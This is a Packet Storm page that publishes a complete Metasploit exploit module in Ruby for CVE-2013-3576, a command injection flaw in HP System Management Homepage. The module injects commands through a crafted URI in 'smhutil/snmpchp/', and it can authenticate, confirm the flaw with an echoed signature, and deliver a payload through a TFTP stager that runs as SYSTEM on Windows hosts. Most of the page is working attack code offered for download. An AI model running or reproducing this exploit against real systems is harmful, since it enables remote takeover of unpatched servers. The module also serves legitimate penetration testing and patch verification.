Exploit the possiblities

HP System Management Homepage JustGetSNMPQueue Command Injection

HP System Management Homepage JustGetSNMPQueue Command Injection
Posted Jun 22, 2013
Authored by sinn3r, Markus Wulftange | Site metasploit.com

This Metasploit module exploits a vulnerability found in HP System Management Homepage. By supplying a specially crafted HTTP request, it is possible to control the 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc), which will be used in a exec() function. This results in arbitrary code execution under the context of SYSTEM. Please note: In order for the exploit to work, the victim must enable the 'tftp' command, which is the case by default for systems such as Windows XP, 2003, etc.

tags | exploit, web, arbitrary, code execution
systems | windows, xp
advisories | CVE-2013-3576, OSVDB-94191
MD5 | 150f2eb8020c60de07a69561bb1fe7a6

HP System Management Homepage JustGetSNMPQueue Command Injection

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection",
'Description' => %q{
This module exploits a vulnerability found in HP System Management Homepage. By
supplying a specially crafted HTTP request, it is possible to control the
'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
which will be used in a exec() function. This results in arbitrary code execution
under the context of SYSTEM. Please note: In order for the exploit to work, the
victim must enable the 'tftp' command, which is the case by default for systems
such as Windows XP, 2003, etc.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Markus Wulftange',
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2013-3576'],
['OSVDB', '94191'],
['US-CERT-VU', '735364']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'SSL' => true
},
'Platform' => 'win',
'Targets' =>
[
['Windows', {}],
],
'Privileged' => false,
'DisclosureDate' => "Jun 11 2013",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(2381),
# USERNAME/PASS may not be necessary, because the anonymous access is possible
OptString.new("USERNAME", [false, 'The username to authenticate as']),
OptString.new("PASSWORD", [false, 'The password to authenticate with'])
], self.class)
end


def peer
"#{rhost}:#{rport}"
end


def check
cookie = ''

if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
cookie = login
if cookie.empty?
print_error("#{peer} - Login failed")
return Exploit::CheckCode::Safe
else
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
end
end

sig = Rex::Text.rand_text_alpha(10)
cmd = Rex::Text.uri_encode("echo #{sig}")
uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo"

req_opts = {}
req_opts['uri'] = uri
if not cookie.empty?
browser_chk = 'HPSMH-browser-check=done for this session'
curl_loc = "curlocation-#{datastore['USERNAME']}="
req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}"
end

res = send_request_raw(req_opts)
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

if res.body =~ /SNMP data engine output/ and res.body =~ /#{sig}/
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end


def login
username = datastore['USERNAME']
password = datastore['PASSWORD']

cookie = ''

res = send_request_cgi({
'method' => 'POST',
'uri' => '/proxy/ssllogin',
'vars_post' => {
'redirecturl' => '',
'redirectquerystring' => '',
'user' => username,
'password' => password
}
})

if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login")
end

# CpqElm-Login: success
if res.headers['CpqElm-Login'].to_s =~ /success/
cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
end

cookie
end


def setup_stager
execute_cmdstager({ :temp => '.'})
end


def execute_command(cmd, opts={})
# Payload will be: C:\hp\hpsmh\data\htdocs\smhutil
uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo")

req_opts = {}
req_opts['uri'] = uri
if not @cookie.empty?
browser_chk = 'HPSMH-browser-check=done for this session'
curl_loc = "curlocation-#{datastore['USERNAME']}="
req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
end

print_status("#{peer} - Executing: #{cmd}")
res = send_request_raw(req_opts)
end


def exploit
@cookie = ''

if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
@cookie = login
if @cookie.empty?
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
else
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
end
end

@uri = normalize_uri('smhutil', 'snmpchp/') + "&&"
setup_stager
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    1 Files
  • 22
    Jan 22nd
    15 Files
  • 23
    Jan 23rd
    12 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close